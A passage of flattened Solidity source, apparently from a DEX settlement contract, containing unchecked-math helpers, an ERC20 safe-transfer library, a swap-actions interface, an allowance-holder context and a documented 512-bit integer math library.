returns (int256 quotient) { assembly ("memory-safe") { quotient := sdiv(numerator, denominator) } } function unsafeMod(uint256 numerator, uint256 denominator) internal pure returns (uint256 remainder) { assembly ("memory-safe") { remainder := mod(numerator, denominator) } } function unsafeMod(int256 numerator, int256 denominator) internal pure returns (int256 remainder) { assembly ("memory-safe") { remainder := smod(numerator, denominator) } } function unsafeMulMod(uint256 a, uint256 b, uint256 m) internal pure returns (uint256 r) { assembly ("memory-safe") { r := mulmod(a, b, m) } } function unsafeAddMod(uint256 a, uint256 b, uint256 m) internal pure returns (uint256 r) { assembly ("memory-safe") { r := addmod(a, b, m) } } function unsafeDivUp(uint256 n, uint256 d) internal pure returns (uint256 r) { assembly ("memory-safe") { r := add(gt(mod(n, d), 0x00), div(n, d)) } } } library Math_0 { function inc(uint256 x, bool c) internal pure returns (uint256 r) { assembly ("memory-safe") { r := add(x, c) } if (r < x) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } } function dec(uint256 x, bool c) internal pure returns (uint256 r) { assembly ("memory-safe") { r := sub(x, c) } if (r > x) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } } } // src/vendor/SafeTransferLib.sol /// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values. /// @author Modified from Solady (https://github.com/vectorized/solady/blob/main/src/utils/SafeTransferLib.sol) /// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/utils/SafeTransferLib.sol) /// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller. library SafeTransferLib { /*////////////////////////////////////////////////////////////// ETH OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferETH(address payable to, uint256 amount) internal { assembly ("memory-safe") { // Transfer the ETH and revert if it fails. if iszero(call(gas(), to, amount, 0x00, 0x00, 0x00, 0x00)) { let ptr := mload(0x40) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } } } /*////////////////////////////////////////////////////////////// ERC20 OPERATIONS //////////////////////////////////////////////////////////////*/ function fastBalanceOf(IERC20 token, address acct) internal view returns (uint256 r) { assembly ("memory-safe") { mstore(0x14, acct) // Store the `acct` argument. mstore(0x00, 0x70a08231000000000000000000000000) // Selector for `balanceOf(address)`, with `acct`'s padding. // Call and check for revert. Storing the selector with padding in // memory at 0 results in a start of calldata at offset 16. Calldata // is 36 bytes long (4 bytes selector, 32 bytes argument) if iszero(staticcall(gas(), token, 0x10, 0x24, 0x00, 0x20)) { let ptr := mload(0x40) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } // Check for short returndata and missing code if iszero(lt(0x1f, returndatasize())) { revert(0x00, 0x00) } r := mload(0x00) } } function safeTransferFrom(IERC20 token, address from, address to, uint256 amount) internal { assembly ("memory-safe") { let ptr := mload(0x40) // Cache the free memory pointer. mstore(0x60, amount) // Store the `amount` argument. mstore(0x40, to) // Store the `to` argument. mstore(0x2c, shl(0x60, from)) // Store the `from` argument. (Clears `to`'s padding.) mstore(0x0c, 0x23b872dd000000000000000000000000) // Selector for `transferFrom(address,address,uint256)`, with `from`'s padding. // Calldata starts at offset 28 and is 100 bytes long (3 * 32 + 4). // If there is returndata (optional) we copy the first 32 bytes into the first slot of memory. if iszero(call(gas(), token, 0x00, 0x1c, 0x64, 0x00, 0x20)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } // We check that the call either returned exactly 1 [true] (can't just be non-zero // data), or had no return data. if iszero(or(and(eq(mload(0x00), 0x01), lt(0x1f, returndatasize())), iszero(returndatasize()))) { mstore(0x00, 0x7939f424) // Selector for `TransferFromFailed()` revert(0x1c, 0x04) } mstore(0x60, 0x00) // Restore the zero slot to zero. mstore(0x40, ptr) // Restore the free memory pointer. } } function safeTransfer(IERC20 token, address to, uint256 amount) internal { assembly ("memory-safe") { mstore(0x14, to) // Store the `to` argument. mstore(0x34, amount) // Store the `amount` argument. // Storing `amount` clobbers the upper bits of the free memory pointer, but those bits // can never be set without running into an OOG, so it's safe. We'll restore them to // zero at the end. mstore(0x00, 0xa9059cbb000000000000000000000000) // Selector for `transfer(address,uint256)`, with `to`'s padding. // Calldata starts at offset 16 and is 68 bytes long (2 * 32 + 4). // If there is returndata (optional) we copy the first 32 bytes into the first slot of memory. if iszero(call(gas(), token, 0x00, 0x10, 0x44, 0x00, 0x20)) { let ptr := and(0xffffffffffffffffffffffff, mload(0x40)) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } // We check that the call either returned exactly 1 [true] (can't just be non-zero // data), or had no return data. if iszero(or(and(eq(mload(0x00), 0x01), lt(0x1f, returndatasize())), iszero(returndatasize()))) { mstore(0x00, 0x90b8ec18) // Selector for `TransferFailed()` revert(0x1c, 0x04) } mstore(0x34, 0x00) // Restore the part of the free memory pointer that was overwritten. } } function safeApprove(IERC20 token, address to, uint256 amount) internal { assembly ("memory-safe") { mstore(0x14, to) // Store the `to` argument. mstore(0x34, amount) // Store the `amount` argument. // Storing `amount` clobbers the upper bits of the free memory pointer, but those bits // can never be set without running into an OOG, so it's safe. We'll restore them to // zero at the end. mstore(0x00, 0x095ea7b3000000000000000000000000) // Selector for `approve(address,uint256)`, with `to`'s padding. // Calldata starts at offset 16 and is 68 bytes long (2 * 32 + 4). // If there is returndata (optional) we copy the first 32 bytes into the first slot of memory. if iszero(call(gas(), token, 0x00, 0x10, 0x44, 0x00, 0x20)) { let ptr := and(0xffffffffffffffffffffffff, mload(0x40)) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } // We check that the call either returned exactly 1 [true] (can't just be non-zero // data), or had no return data. if iszero(or(and(eq(mload(0x00), 0x01), lt(0x1f, returndatasize())), iszero(returndatasize()))) { mstore(0x00, 0x3e3f8f73) // Selector for `ApproveFailed()` revert(0x1c, 0x04) } mstore(0x34, 0x00) // Restore the part of the free memory pointer that was overwritten. } } function safeApproveIfBelow(IERC20 token, address spender, uint256 amount) internal { uint256 allowance = token.allowance(address(this), spender); if (allowance < amount) { if (allowance != 0) { safeApprove(token, spender, 0); } safeApprove(token, spender, type(uint256).max); } } } // src/ISettlerActions.sol interface ISettlerActions { /// @dev Transfer funds from msg.sender Permit2. function TRANSFER_FROM(address recipient, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig) external; /// @dev Transfer funds from metatransaction requestor into the Settler contract using Permit2. Only for use in `Settler.executeMetaTxn` where the signature is provided as calldata function METATXN_TRANSFER_FROM(address recipient, ISignatureTransfer.PermitTransferFrom memory permit) external; /// @dev Settle an RfqOrder between maker and taker transfering funds directly between the parties // Post-req: Payout if recipient != taker function RFQ_VIP( address recipient, ISignatureTransfer.PermitTransferFrom memory makerPermit, address maker, bytes memory makerSig, ISignatureTransfer.PermitTransferFrom memory takerPermit, bytes memory takerSig ) external; /// @dev Settle an RfqOrder between maker and taker transfering funds directly between the parties for the entire amount function METATXN_RFQ_VIP( address recipient, ISignatureTransfer.PermitTransferFrom memory makerPermit, address maker, bytes memory makerSig, ISignatureTransfer.PermitTransferFrom memory takerPermit ) external; /// @dev Settle an RfqOrder between Maker and Settler. Transfering funds from the Settler contract to maker. /// Retaining funds in the settler contract. // Pre-req: Funded // Post-req: Payout function RFQ( address recipient, ISignatureTransfer.PermitTransferFrom memory permit, address maker, bytes memory makerSig, address takerToken, uint256 maxTakerAmount ) external; function UNISWAPV4( address recipient, address sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) external; function UNISWAPV4_VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) external; function METATXN_UNISWAPV4_VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, uint256 amountOutMin ) external; function BALANCERV3( address recipient, address sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) external; function BALANCERV3_VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) external; function METATXN_BALANCERV3_VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, uint256 amountOutMin ) external; function PANCAKE_INFINITY( address recipient, address sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) external; function PANCAKE_INFINITY_VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) external; function METATXN_PANCAKE_INFINITY_VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, uint256 amountOutMin ) external; /// @dev Trades against UniswapV3 using the contracts balance for funding // Pre-req: Funded // Post-req: Payout function UNISWAPV3(address recipient, uint256 bps, bytes memory path, uint256 amountOutMin) external; /// @dev Trades against UniswapV3 using user funds via Permit2 for funding function UNISWAPV3_VIP( address recipient, bytes memory path, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) external; /// @dev Trades against UniswapV3 using user funds via Permit2 for funding. Metatransaction variant. Signature is over all actions. function METATXN_UNISWAPV3_VIP( address recipient, bytes memory path, ISignatureTransfer.PermitTransferFrom memory permit, uint256 amountOutMin ) external; function MAKERPSM(address recipient, uint256 bps, bool buyGem, uint256 amountOutMin) external; function CURVE_TRICRYPTO_VIP( address recipient, uint80 poolInfo, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 minBuyAmount ) external; function METATXN_CURVE_TRICRYPTO_VIP( address recipient, uint80 poolInfo, ISignatureTransfer.PermitTransferFrom memory permit, uint256 minBuyAmount ) external; function DODOV1(address sellToken, uint256 bps, address pool, bool quoteForBase, uint256 minBuyAmount) external; function DODOV2( address recipient, address sellToken, uint256 bps, address pool, bool quoteForBase, uint256 minBuyAmount ) external; function VELODROME(address recipient, uint256 bps, address pool, uint24 swapInfo, uint256 minBuyAmount) external; /// @dev Trades against MaverickV2 using the contracts balance for funding /// This action does not use the MaverickV2 callback, so it takes an arbitrary pool address to make calls against. /// Passing `tokenAIn` as a parameter actually saves gas relative to introspecting the pool's `tokenA()` accessor. function MAVERICKV2( address recipient, address sellToken, uint256 bps, address pool, bool tokenAIn, uint256 minBuyAmount ) external; /// @dev Trades against MaverickV2, spending the taker's coupon inside the callback /// This action requires the use of the MaverickV2 callback, so we take the MaverickV2 CREATE2 salt as an argument to derive the pool address from the trusted factory and inithash. /// @param salt is formed as `keccak256(abi.encode(feeAIn, feeBIn, tickSpacing, lookback, tokenA, tokenB, kinds, address(0)))` function MAVERICKV2_VIP( address recipient, bytes32 salt, bool tokenAIn, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 minBuyAmount ) external; /// @dev Trades against MaverickV2, spending the taker's coupon inside the callback; metatransaction variant function METATXN_MAVERICKV2_VIP( address recipient, bytes32 salt, bool tokenAIn, ISignatureTransfer.PermitTransferFrom memory permit, uint256 minBuyAmount ) external; /// @dev Trades against UniswapV2 using the contracts balance for funding /// @param swapInfo is encoded as the upper 16 bits as the fee of the pool in bps, the second /// lowest bit as "sell token has transfer fee", and the lowest bit as the /// "token0 for token1" flag. function UNISWAPV2( address recipient, address sellToken, uint256 bps, address pool, uint24 swapInfo, uint256 amountOutMin ) external; function POSITIVE_SLIPPAGE(address payable recipient, address token, uint256 expectedAmount) external; /// @dev Trades against a basic AMM which follows the approval, transferFrom(msg.sender) interaction // Pre-req: Funded // Post-req: Payout function BASIC(address sellToken, uint256 bps, address pool, uint256 offset, bytes calldata data) external; function EKUBO( address recipient, address sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) external; function EKUBO_VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) external; function METATXN_EKUBO_VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, uint256 amountOutMin ) external; } // src/allowanceholder/AllowanceHolderContext.sol abstract contract AllowanceHolderContext is Context { IAllowanceHolder internal constant _ALLOWANCE_HOLDER = IAllowanceHolder(0x0000000000001fF3684f28c67538d4D072C22734); function _isForwarded() internal view virtual override returns (bool) { return super._isForwarded() || super._msgSender() == address(_ALLOWANCE_HOLDER); } function _msgData() internal view virtual override returns (bytes calldata) { if (super._msgSender() == address(_ALLOWANCE_HOLDER)) { return msg.data[:msg.data.length - 20]; } else { return msg.data; } } function _msgSender() internal view virtual override returns (address sender) { sender = super._msgSender(); if (sender == address(_ALLOWANCE_HOLDER)) { // ERC-2771 like usage where the _trusted_ `AllowanceHolder` has appended the appropriate // msg.sender to the msg data bytes calldata data = super._msgData(); assembly ("memory-safe") { sender := shr(0x60, calldataload(add(data.offset, sub(data.length, 0x14)))) } } } // this is here to avoid foot-guns and make it very explicit that we intend // to pass the confused deputy check in AllowanceHolder function balanceOf(address) external pure { assembly ("memory-safe") { mstore8(0x00, 0x00) return(0x00, 0x01) } } } // src/interfaces/ISettlerTakerSubmitted.sol interface ISettlerTakerSubmitted is ISettlerBase { function execute(AllowedSlippage calldata slippage, bytes[] calldata actions, bytes32 /* zid & affiliate */ ) external payable returns (bool); } // src/utils/512Math.sol /* WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** *** WARNING This code is unaudited WARNING *** *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING *** WARNING */ /// The type uint512 behaves as if it were declared as /// struct uint512 { /// uint256 hi; /// uint256 lo; /// } /// However, returning `memory` references from internal functions is impossible /// to do efficiently, especially when the functions are small and are called /// frequently. Therefore, we assume direct control over memory allocation using /// the functions `tmp()` and `alloc()` defined below. If you need to pass /// 512-bit integers between contracts (generally a bad idea), the struct /// `uint512_external` defined at the end of this file is provided for this /// purpose and has exactly the definition you'd expect (as well as convenient /// conversion functions). /// /// MAKING A DECLARATION OF THE FOLLOWING FORM WILL CAUSE UNEXPECTED BEHAVIOR: /// uint512 x; /// INSTEAD OF DOING THAT, YOU MUST USE `alloc()`, LIKE THIS: /// uint512 x = alloc(); /// IF YOU REALLY WANTED TO DO THAT (ADVANCED USAGE) THEN FOR CLARITY, WRITE THE /// FOLLOWING: /// uint512 x = tmp(); /// /// While user-defined arithmetic operations (i.e. +, -, *, %, /) are provided /// for `uint512`, they are not gas-optimal, full-featured, or composable. You /// will get a revert upon incorrect usage. Their primary usage is when a simple /// arithmetic operation needs to be performed followed by a comparison (e.g. <, /// >, ==, etc.) or conversion to a pair of `uint256`s (i.e. `.into()`). The use /// of the user-defined arithmetic operations is not composable with the usage /// of `tmp()`. /// /// In general, correct usage of `uint512` requires always specifying the output /// location of each operation. For each `o*` operation (mnemonic: /// out-of-place), the first argument is the output location and the remaining /// arguments are the input. For each `i*` operation (mnemonic: in-place), the /// first argument is both input and output and the remaining arguments are /// purely input. For each `ir*` operation (mnemonic: in-place reverse; only for /// non-commutative operations), the semantics of the input arguments are /// flipped (i.e. `irsub(foo, bar)` is semantically equivalent to `foo = bar - /// foo`); the first argument is still the output location. Only `irsub`, /// `irmod`, `irdiv`, `irmodAlt`, and `irdivAlt` exist. Unless otherwise noted, /// the return value of each function is the output location. This supports /// chaining/pipeline/tacit-style programming. /// /// All provided arithmetic operations behave as if they were inside an /// `unchecked` block. We assume that because you're reaching for 512-bit math, /// you have domain knowledge about the range of values that you will /// encounter. Overflow causes truncation, not a revert. Division or modulo by /// zero still causes a panic revert with code 18 (identical behavior to /// "normal" unchecked arithmetic). /// /// Three additional arithmetic operations are provided, bare `sub`, `mod`, and /// `div`. These are provided for use when it is known that the result of the /// operation will fit into 256 bits. This fact is not checked, but more /// efficient algorithms are employed assuming this. The result is a `uint256`. /// /// The operations `*mod` and `*div` with 512-bit denominator are `view` instead /// of `pure` because they make use of the MODEXP (5) precompile. Some EVM L2s /// and sidechains do not support MODEXP with 512-bit arguments. On those /// chains, the `*modAlt` and `*divAlt` functions are provided. These functions /// are truly `pure` and do not rely on MODEXP at all. The downside is that they /// consume slightly (really only *slightly*) more gas. /// /// ## Full list of provided functions /// /// Unless otherwise noted, all functions return `(uint512)` /// /// ### Utility /// /// * from(uint256) /// * from(uint256,uint256) -- The EVM is big-endian. The most-significant word is first. /// * from(uint512) -- performs a copy /// * into() returns (uint256,uint256) -- Again, the most-significant word is first. /// * toExternal(uint512) returns (uint512_external memory) /// /// ### Comparison (all functions return `(bool)`) /// /// * isZero(uint512) /// * isMax(uint512) /// * eq(uint512,uint256) /// * eq(uint512,uint512) /// * ne(uint512,uint256) /// * ne(uint512,uint512) /// * gt(uint512,uint256) /// * gt(uint512,uint512) /// * ge(uint512,uint256) /// * ge(uint512,uint512) /// * lt(uint512,uint256) /// * lt(uint512,uint512) /// * le(uint512,uint256) /// * le(uint512,uint512) /// /// ### Addition /// /// * oadd(uint512,uint256,uint256) -- iadd(uint256,uint256) is not provided for somewhat obvious reasons /// * oadd(uint512,uint512,uint256) /// * iadd(uint512,uint256) /// * oadd(uint512,uint512,uint512) /// * iadd(uint512,uint512) /// /// ### Subtraction /// /// * sub(uint512,uint256) returns (uint256) /// * sub(uint512,uint512) returns (uint256) /// * osub(uint512,uint512,uint256) /// * isub(uint512,uint256) /// * osub(uint512,uint512,uint512) /// * isub(uint512,uint512) /// * irsub(uint512,uint512) /// /// ### Multiplication /// /// * omul(uint512,uint256,uint256) /// * omul(uint512,uint512,uint256) /// * imul(uint512,uint256) /// * omul(uint512,uint512,uint512) /// * imul(uint512,uint512) /// /// ### Modulo /// /// * mod(uint512,uint256) returns (uint256) -- mod(uint512,uint512) is not provided for less obvious reasons /// * omod(uint512,uint512,uint512) /// * imod(uint512,uint512) /// * irmod(uint512,uint512) /// * omodAlt(uint512,uint512,uint512) /// * imodAlt(uint512,uint512) /// * irmodAlt(uint512,uint512) /// /// ### Division /// /// * div(uint512,uint256) returns (uint256) /// * div(uint512,uint512) returns (uint256) /// * odiv(uint512,uint512,uint256) /// * idiv(uint512,uint256) /// * odiv(uint512,uint512,uint512) /// * idiv(uint512,uint512) /// * irdiv(uint512,uint512) /// * divAlt(uint512,uint512) returns (uint256) -- divAlt(uint512,uint256) is not provided because div(uint512,uint256) is suitable for chains without MODEXP /// * odivAlt(uint512,uint512,uint512) /// * idivAlt(uint512,uint512) /// * irdivAlt(uint512,uint512) type uint512 is bytes32; function alloc() pure returns (uint512 r) { assembly ("memory-safe") { r := mload(0x40) mstore(0x40, add(0x40, r)) } } function tmp() pure returns (uint512 r) {} library Lib512MathAccessors { function from(uint512 r, uint256 x) internal pure returns (uint512 r_out) { assembly ("memory-safe") { mstore(r, 0x00) mstore(add(0x20, r), x) r_out := r } } function from(uint512 r, uint256 x_hi, uint256 x_lo) internal pure returns (uint512 r_out) { assembly ("memory-safe") { mstore(r, x_hi) mstore(add(0x20, r), x_lo) r_out := r } } function from(uint512 r, uint512 x) internal pure returns (uint512 r_out) { assembly ("memory-safe") { // Paradoxically, using `mload` and `mstore` here (instead of // `mcopy`) produces more optimal code because it gives solc the // opportunity to optimize-out the use of memory entirely, in // typical usage. As a happy side effect, it also means that we // don't have to deal with Cancun hardfork compatibility issues. mstore(r, mload(x)) mstore(add(0x20, r), mload(add(0x20, x))) r_out := r } } function into(uint512 x) internal pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { r_hi := mload(x) r_lo := mload(add(0x20, x)) } } } using Lib512MathAccessors for uint512 global; library Lib512MathComparisons { function isZero(uint512 x) internal pure returns (bool r) { (uint256 x_hi, uint256 x_lo) = x.into(); assembly ("memory-safe") { r := iszero(or(x_hi, x_lo)) } } function isMax(uint512 x) internal pure returns (bool r) { (uint256 x_hi, uint256 x_lo) = x.into(); assembly ("memory-safe") { r := iszero(not(and(x_hi, x_lo))) } } function eq(uint512 x, uint256 y) internal pure returns (bool r) { (uint256 x_hi, uint256 x_lo) = x.into(); assembly ("memory-safe") { r := and(iszero(x_hi), eq(x_lo, y)) } } function gt(uint512 x, uint256 y) internal pure returns (bool r) { (uint256 x_hi, uint256 x_lo) = x.into(); assembly ("memory-safe") { r := or(gt(x_hi, 0x00), gt(x_lo, y)) } } function lt(uint512 x, uint256 y) internal pure returns (bool r) { (uint256 x_hi, uint256 x_lo) = x.into(); assembly ("memory-safe") { r := and(iszero(x_hi), lt(x_lo, y)) } } function ne(uint512 x, uint256 y) internal pure returns (bool) { return !eq(x, y); } function ge(uint512 x, uint256 y) internal pure returns (bool) { return !lt(x, y); } function le(uint512 x, uint256 y) internal pure returns (bool) { return !gt(x, y); } function eq(uint512 x, uint512 y) internal pure returns (bool r) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 y_hi, uint256 y_lo) = y.into(); assembly ("memory-safe") { r := and(eq(x_hi, y_hi), eq(x_lo, y_lo)) } } function gt(uint512 x, uint512 y) internal pure returns (bool r) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 y_hi, uint256 y_lo) = y.into(); assembly ("memory-safe") { r := or(gt(x_hi, y_hi), and(eq(x_hi, y_hi), gt(x_lo, y_lo))) } } function lt(uint512 x, uint512 y) internal pure returns (bool r) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 y_hi, uint256 y_lo) = y.into(); assembly ("memory-safe") { r := or(lt(x_hi, y_hi), and(eq(x_hi, y_hi), lt(x_lo, y_lo))) } } function ne(uint512 x, uint512 y) internal pure returns (bool) { return !eq(x, y); } function ge(uint512 x, uint512 y) internal pure returns (bool) { return !lt(x, y); } function le(uint512 x, uint512 y) internal pure returns (bool) { return !gt(x, y); } } using Lib512MathComparisons for uint512 global; function __eq(uint512 x, uint512 y) pure returns (bool) { return x.eq(y); } function __gt(uint512 x, uint512 y) pure returns (bool) { return x.gt(y); } function __lt(uint512 x, uint512 y) pure returns (bool r) { return x.lt(y); } function __ne(uint512 x, uint512 y) pure returns (bool) { return x.ne(y); } function __ge(uint512 x, uint512 y) pure returns (bool) { return x.ge(y); } function __le(uint512 x, uint512 y) pure returns (bool) { return x.le(y); } using {__eq as ==, __gt as >, __lt as <, __ne as !=, __ge as >=, __le as <=} for uint512 global; library Lib512MathArithmetic { using UnsafeMath for uint256; function oadd(uint512 r, uint256 x, uint256 y) internal pure returns (uint512) { uint256 r_hi; uint256 r_lo; assembly ("memory-safe") { r_lo := add(x, y) // `lt(r_lo, x)` indicates overflow in the lower addition. We can // add the bool directly to the integer to perform carry r_hi := lt(r_lo, x) } return r.from(r_hi, r_lo); } function oadd(uint512 r, uint512 x, uint256 y) internal pure returns (uint512) { (uint256 x_hi, uint256 x_lo) = x.into(); uint256 r_hi; uint256 r_lo; assembly ("memory-safe") { r_lo := add(x_lo, y) // `lt(r_lo, x_lo)` indicates overflow in the lower // addition. Overflow in the high limb is simply ignored r_hi := add(x_hi, lt(r_lo, x_lo)) } return r.from(r_hi, r_lo); } function iadd(uint512 r, uint256 y) internal pure returns (uint512) { return oadd(r, r, y); } function _add(uint256 x_hi, uint256 x_lo, uint256 y_hi, uint256 y_lo) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { r_lo := add(x_lo, y_lo) // `lt(r_lo, x_lo)` indicates overflow in the lower // addition. Overflow in the high limb is simply ignored. r_hi := add(add(x_hi, y_hi), lt(r_lo, x_lo)) } } function oadd(uint512 r, uint512 x, uint512 y) internal pure returns (uint512) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 y_hi, uint256 y_lo) = y.into(); (uint256 r_hi, uint256 r_lo) = _add(x_hi, x_lo, y_hi, y_lo); return r.from(r_hi, r_lo); } function iadd(uint512 r, uint512 y) internal pure returns (uint512) { return oadd(r, r, y); } function _sub(uint256 x_hi, uint256 x_lo, uint256 y) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { r_lo := sub(x_lo, y) // `gt(r_lo, x_lo)` indicates underflow in the lower subtraction. We // can subtract the bool directly from the integer to perform carry. r_hi := sub(x_hi, gt(r_lo, x_lo)) } } function osub(uint512 r, uint512 x, uint256 y) internal pure returns (uint512) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 r_hi, uint256 r_lo) = _sub(x_hi, x_lo, y); return r.from(r_hi, r_lo); } function isub(uint512 r, uint256 y) internal pure returns (uint512) { return osub(r, r, y); } function _sub(uint256 x_hi, uint256 x_lo, uint256 y_hi, uint256 y_lo) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { r_lo := sub(x_lo, y_lo) // `gt(r_lo, x_lo)` indicates underflow in the lower subtraction. // Underflow in the high limb is simply ignored. r_hi := sub(sub(x_hi, y_hi), gt(r_lo, x_lo)) } } function osub(uint512 r, uint512 x, uint512 y) internal pure returns (uint512) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 y_hi, uint256 y_lo) = y.into(); (uint256 r_hi, uint256 r_lo) = _sub(x_hi, x_lo, y_hi, y_lo); return r.from(r_hi, r_lo); } function isub(uint512 r, uint512 y) internal pure returns (uint512) { return osub(r, r, y); } function irsub(uint512 r, uint512 y) internal pure returns (uint512) { return osub(r, y, r); } function sub(uint512 x, uint256 y) internal pure returns (uint256 r) { assembly ("memory-safe") { r := sub(mload(add(0x20, x)), y) } } function sub(uint512 x, uint512 y) internal pure returns (uint256 r) { assembly ("memory-safe") { r := sub(mload(add(0x20, x)), mload(add(0x20, y))) } } //// The technique implemented in the following functions for multiplication is //// adapted from Remco Bloemen's work https://2π.com/17/full-mul/ . //// The original code was released under the MIT license. function _mul(uint256 x, uint256 y) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { let mm := mulmod(x, y, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) r_lo := mul(x, y) r_hi := sub(sub(mm, r_lo), lt(mm, r_lo)) } } function omul(uint512 r, uint256 x, uint256 y) internal pure returns (uint512) { (uint256 r_hi, uint256 r_lo) = _mul(x, y); return r.from(r_hi, r_lo); } function _mul(uint256 x_hi, uint256 x_lo, uint256 y) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { let mm := mulmod(x_lo, y, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) r_lo := mul(x_lo, y) r_hi := add(mul(x_hi, y), sub(sub(mm, r_lo), lt(mm, r_lo))) } } function omul(uint512 r, uint512 x, uint256 y) internal pure returns (uint512) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 r_hi, uint256 r_lo) = _mul(x_hi, x_lo, y); return r.from(r_hi, r_lo); } function imul(uint512 r, uint256 y) internal pure returns (uint512) { return omul(r, r, y); } function _mul(uint256 x_hi, uint256 x_lo, uint256 y_hi, uint256 y_lo) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { let mm := mulmod(x_lo, y_lo, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) r_lo := mul(x_lo, y_lo) r_hi := add(add(mul(x_hi, y_lo), mul(x_lo, y_hi)), sub(sub(mm, r_lo), lt(mm, r_lo))) } } function omul(uint512 r, uint512 x, uint512 y) internal pure returns (uint512) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 y_hi, uint256 y_lo) = y.into(); (uint256 r_hi, uint256 r_lo) = _mul(x_hi, x_lo, y_hi, y_lo); return r.from(r_hi, r_lo); } function imul(uint512 r, uint512 y) internal pure returns (uint512) { return omul(r, r, y); } function mod(uint512 n, uint256 d) internal pure returns (uint256 r) { if (d == 0) { Panic.panic(Panic.DIVISION_BY_ZERO); } (uint256 n_hi, uint256 n_lo) = n.into(); assembly ("memory-safe") { r := mulmod(n_hi, sub(0x00, d), d) r := addmod(n_lo, r, d) } } function omod(uint512 r, uint512 x, uint512 y) internal view returns (uint512) { (uint256 x_hi, uint256 x_lo) = x.into(); (uint256 y_hi, uint256 y_lo) = y.into(); assembly ("memory-safe") { // We use the MODEXP (5) precompile with an exponent of 1. We encode // the arguments to the precompile at the beginning of free memory // without allocating. Arguments are encoded as: // [64 32 64 x_hi x_lo 1 y_hi y_lo] let ptr := mload(0x40) mstore(ptr, 0x40) mstore(add(0x20, ptr), 0x20) mstore(add(0x40, ptr), 0x40) // See comment in `from` about why `mstore` is more efficient than `mcopy` mstore(add(0x60, ptr), x_hi) mstore(add(0x80, ptr), x_lo) mstore(add(0xa0, ptr), 0x01) mstore(add(0xc0, ptr), y_hi) mstore(add(0xe0, ptr), y_lo) // We write the result of MODEXP directly into the output space r. pop(staticcall(gas(), 0x05, ptr, 0x100, r, 0x40)) // The MODEXP precompile can only fail due to out-of-gas. This call // consumes only 200 gas, so if it failed, there is only 4 gas // remaining in this context. Therefore, we will out-of-gas // immediately when we attempt to read the result. We don't bother // to check for failure. } return r; } function imod(uint512 r, uint512 y) internal view returns (uint512) { return omod(r, r, y); } function irmod(uint512 r, uint512 y) internal view returns (uint512) { return omod(r, y, r); } /// Multiply 512-bit [x_hi x_lo] by 256-bit [y] giving 768-bit [r_ex r_hi r_lo] function _mul768(uint256 x_hi, uint256 x_lo, uint256 y) private pure returns (uint256 r_ex, uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { let mm0 := mulmod(x_lo, y, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) r_lo := mul(x_lo, y) let mm1 := 